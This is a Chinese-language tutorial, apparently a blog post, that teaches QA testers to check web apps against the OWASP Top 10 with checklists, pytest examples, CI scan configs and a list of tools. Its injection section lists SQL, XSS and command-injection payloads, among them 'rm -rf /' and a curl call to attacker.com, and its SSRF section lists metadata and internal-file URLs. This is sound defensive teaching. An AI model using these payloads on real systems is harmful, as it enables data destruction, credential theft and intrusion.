Security Testing 給 QA 看的 OWASP Top 10 — 手動 / 自動化 / 工具一次到位
「資安是 Security team 的事,QA 不用管」是錯的。80% 的漏洞 QA 在 sprint 就能抓,剩下 20% 留給 pentester。這篇給你做基本 security testing 的能力。
QA 該負責什麼程度的 security?
flowchart LR
Dev[Dev 寫 code] --> Lint[Static Analysis<br>SAST]
Lint --> QA[QA Sprint Testing]
QA --> Pen[Pentest<br>年度 / 季度]
Pen --> Bug[Bug Bounty]
QA --> Q1[OWASP Top 10<br>常見漏洞]
QA --> Q2[Auth / Session]
QA --> Q3[Input validation]
QA --> Q4[資料隔離]
style QA fill:#a855f7,color:#fff
style Q1 fill:#06b6d4,color:#fff
style Q2 fill:#06b6d4,color:#fff
style Q3 fill:#06b6d4,color:#fff
style Q4 fill:#06b6d4,color:#fff
| 角色 | 負責 |
|---|---|
| Dev + SAST | 程式碼層級漏洞、依賴套件 CVE |
| QA(你) | 應用層級的功能性漏洞 — 多數 OWASP Top 10 |
| Security team / Pentester | 深度滲透、零日、business logic 攻擊 |
| Bug bounty | 全範圍、社群發現 |
QA 在 sprint 內把基本款抓掉,省掉 90% 上線後的 security ticket。
OWASP Top 10 (2021) — QA 視角
mindmap
root((OWASP<br>Top 10))
A01 Broken Access Control
平水權限
垂直權限
IDOR
A02 Cryptographic Failures
未加密傳輸
弱演算法
key 外洩
A03 Injection
SQL Injection
XSS
Command Injection
A04 Insecure Design
設計層漏洞
Threat modeling
A05 Security Misconfiguration
預設密碼
多餘服務開放
錯誤訊息洩漏
A06 Vulnerable Components
過時套件
已知 CVE
A07 Auth Failures
Brute force
Session fixation
多裝置登入
A08 Software Data Integrity
簽章驗證
Supply chain
A09 Logging Failures
沒 log
log 含敏感資料
A10 SSRF
Server-side Request Forgery
接下來每個一一講,附「QA 怎麼測」。
A01 Broken Access Control — 最常見、最容易測
漏洞描述
使用者能存取不該存取的資源。
QA 怎麼測
flowchart LR
Login[用 User A 登入] --> Get[取得 own 資源 URL<br>例如 /orders/123]
Get --> Logout[登出 / 登入 User B]
Logout --> Try[直接打 User A 的 URL]
Try --> Q{看得到 User A<br>的資料?}
Q -->|是| Bug[🐛 IDOR]
Q -->|否| OK[✓ 通過]
style Bug fill:#ef4444,color:#fff
style OK fill:#10b981,color:#fff
手動測試 checklist:
- ✅ 改 URL 的 ID(
/orders/123→/orders/124) - ✅ 改 query string(
?user_id=1→?user_id=2) - ✅ 隱藏的 form field(DevTools 改 hidden value)
- ✅ HTTP method 替換(
GET /admin→POST /admin) - ✅ 直接打 admin endpoint(
/admin/users用普通帳號) - ✅ 跨租戶資料(B tenant 能看 A tenant 嗎)
自動化:用 pytest 寫 cross-user 測試。
def test_cannot_access_other_user_order(api_user_a, api_user_b):
# User A 建單
order = api_user_a.post('/orders', json={'sku': 'X'}).json()
# User B 試圖讀
resp = api_user_b.get(f'/orders/{order["id"]}')
assert resp.status_code in (403, 404)
A02 Cryptographic Failures — 加密失誤
該檢查
- ✅ HTTPS Everywhere —
http://自動 301 到https:// - ✅ HSTS header —
Strict-Transport-Security: max-age=15552000 - ✅ TLS 1.2+ — 不能允許 TLS 1.0/1.1
- ✅ 密碼用 bcrypt/argon2(不能 MD5/SHA1)
- ✅ 敏感資料(信用卡、身分證)DB 內加密
- ✅ API token 不放在 URL — 應該 header
工具
- SSL Labs: https://www.ssllabs.com/ssltest/ — 給 URL → 評等 A-F
- testssl.sh — CLI 工具掃 TLS 配置
./testssl.sh https://staging.example.com
A03 Injection — 最致命
SQL Injection
測試 payload(試在每個 input 框):
' OR '1'='1
'; DROP TABLE users;--
" OR 1=1--
admin'--
正常反應:input 被 reject 或當字串處理。 漏洞反應:500 error / 異常結果 / 回出 DB 資訊。
XSS(Cross-Site Scripting)
測試 payload:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)
貼進 input、看 reflect 出來時有沒有執行。
自動化:
@pytest.mark.parametrize('payload', [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'javascript:alert(1)',
])
def test_xss_in_search(api, payload):
resp = api.get(f'/search?q={payload}')
# 確認 payload 被 escape
assert '<script>' not in resp.text
assert 'onerror=' not in resp.text
Command Injection
如果 app 接受檔名、URL 等:
test.jpg; rm -rf /
test.jpg && curl http://attacker.com/leak
$(curl http://attacker.com)
A04 Insecure Design — 設計層漏洞
QA 可參與 spec review 抓(見 [[spec-review-checklist]]):
- 重設密碼流程沒驗證舊密碼
- 投票機制沒防重複
- 優惠券沒設使用上限
- 邀請連結永不過期
設計階段抓 = 省 100 倍時間。
A05 Security Misconfiguration — 配置錯誤
Checklist
- ✅ 預設帳號密碼已改(admin/admin、root/root)
- ✅ Debug mode 關(prod 不能 stack trace 噴出來)
- ✅ 不必要的 HTTP method 擋(不需要的 TRACE / OPTIONS)
- ✅ Security headers 都設:
Content-Security-PolicyX-Frame-OptionsX-Content-Type-OptionsReferrer-PolicyPermissions-Policy- ✅ CORS 不能
*(除非真公開 API) - ✅ 錯誤訊息不含 stack trace / DB schema
自動化檢查 security headers:
def test_security_headers(api):
resp = api.get('/')
assert resp.headers.get('X-Frame-Options') in ('DENY', 'SAMEORIGIN')
assert resp.headers.get('X-Content-Type-Options') == 'nosniff'
assert 'Strict-Transport-Security' in resp.headers
assert 'Content-Security-Policy' in resp.headers
工具:SecurityHeaders.com — 給 URL 直接評等。
A06 Vulnerable Components — 過時套件
自動化檢查
# .github/workflows/security.yml
- uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
severity: 'CRITICAL,HIGH'
exit-code: '1'
- run: npm audit --audit-level=high
- run: pip-audit
或用 Snyk / GitHub Dependabot 自動 PR 升級。
QA 在 sprint 內看:每週看一次 Dependabot alerts,high/critical 立刻處理。
A07 Identification & Authentication Failures
必測情境
- Brute force 防護 - 連續錯誤 5 次後鎖定 / Captcha - Rate limit 在 IP 級別也要
- Session 管理 - Logout 後 token 真的失效 - Token TTL 合理(不該無限) - 多裝置登入策略明確
- 密碼政策 - 最小長度、複雜度 - 不能太短常見字(123456、password) - 改密碼後舊 session 失效
- 2FA / MFA - 流程沒 bypass - Recovery code 一次性
- 註冊 - Email 驗證有效 - 不能用 disposable email(業務需求)
A08 Software & Data Integrity Failures
- ✅ CI/CD pipeline secret 不能被前端讀到
- ✅ npm/pip 套件來源驗證(package-lock.json)
- ✅ 不從不可信來源動態 import code
- ✅ Webhook 來源驗證(GitHub / Stripe 都有 signature)
A09 Security Logging & Monitoring Failures
Checklist
- ✅ 登入 / 改密碼 / 改 email 都有 log
- ✅ 失敗的 auth attempts 有 log
- ✅ Admin actions 有 log
- ✅ Log 不含敏感資料(密碼、token、信用卡)
- ✅ Log retention 合理(30+ 天)
- ✅ 異常 alert 設定(500 急升、登入失敗異常多)
QA 在 spec review 階段就問「這個 action log 嗎?」
A10 SSRF — Server-Side Request Forgery
App 接受 URL 並 server 端 fetch(例如「上傳圖片」用 URL):
http://169.254.169.254/ # AWS metadata(會洩漏 credentials)
http://localhost:6379 # 內網 Redis
file:///etc/passwd # local file
測試:給這些 URL 看 server 會不會 fetch + 回傳內容。
工具地圖
mindmap
root((Security<br>Testing 工具))
手動探索
Burp Suite Community
OWASP ZAP
Browser DevTools
Postman
自動掃描
OWASP ZAP CLI
Nuclei
Nikto
sqlmap
依賴掃描
Snyk
Trivy
Dependabot
npm audit
pip-audit
SAST
SonarQube
Semgrep
CodeQL
Headers / TLS
SSL Labs
testssl.sh
Mozilla Observatory
SecurityHeaders.com
密碼測試
Have I Been Pwned
Hashcat(pentester 用)
進階推薦工具
Burp Suite Community(免費)
最重要的工具。Browser 流量都過 Burp proxy → 可改 / 重發。
學習 5 招就夠: 1. Intercept — 攔截 request 改了再送 2. Repeater — 改參數重發 3. Intruder — 自動 fuzz(payload list) 4. Decoder — Base64 / URL encode 解 5. Logger — 看所有流量
OWASP ZAP — Burp 的 open source 替代
- 內建 automated scan
- 可 CI 整合(zap-baseline.py 在 GitHub Actions 跑)
CI 整合範例
name: Security
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# SAST
- uses: github/codeql-action/init@v3
- uses: github/codeql-action/analyze@v3
# 依賴掃描
- uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# DAST (跑在 staging)
- uses: zaproxy/[email protected]
with:
target: 'https://staging.example.com'
# Container scan
- uses: aquasecurity/trivy-action@master
with:
image-ref: 'myorg/myapp:latest'
severity: 'CRITICAL,HIGH'
QA 一週可做的 security 例行檢查
- 每週:跑 ZAP baseline scan on staging
- 每週:看 Dependabot / Snyk alerts
- 每 sprint:新功能跑 OWASP Top 10 checklist
- 每月:跑 SSL Labs / SecurityHeaders 全站
- 每季:找 security team 或外部 pentester 做深度測試
反模式
- 只信工具不手動驗 — 自動掃會漏 business logic 漏洞
- 抓到漏洞先 public 揭露 — 內部報、給時間修
- 跑 prod — 除非有授權、否則一定 staging
- 跑别人的網站 — 即使「想幫他們」是違法的
- 不更新工具 — Burp / ZAP / Snyk 都要保持最新
學習資源
- OWASP Top 10: https://owasp.org/Top10/
- PortSwigger Web Security Academy: 免費、互動式 lab
- HackTheBox: 練習平台
- TryHackMe: 入門友善
- PentesterLab: 中階
最後
Security testing 不是「我不會所以不碰」。OWASP Top 10 用一個月學完,你抓到的漏洞會嚇到資安 team。從每個 sprint 多花 30 分鐘做安全 checklist 開始,這是 QA 影響力最快的放大方式。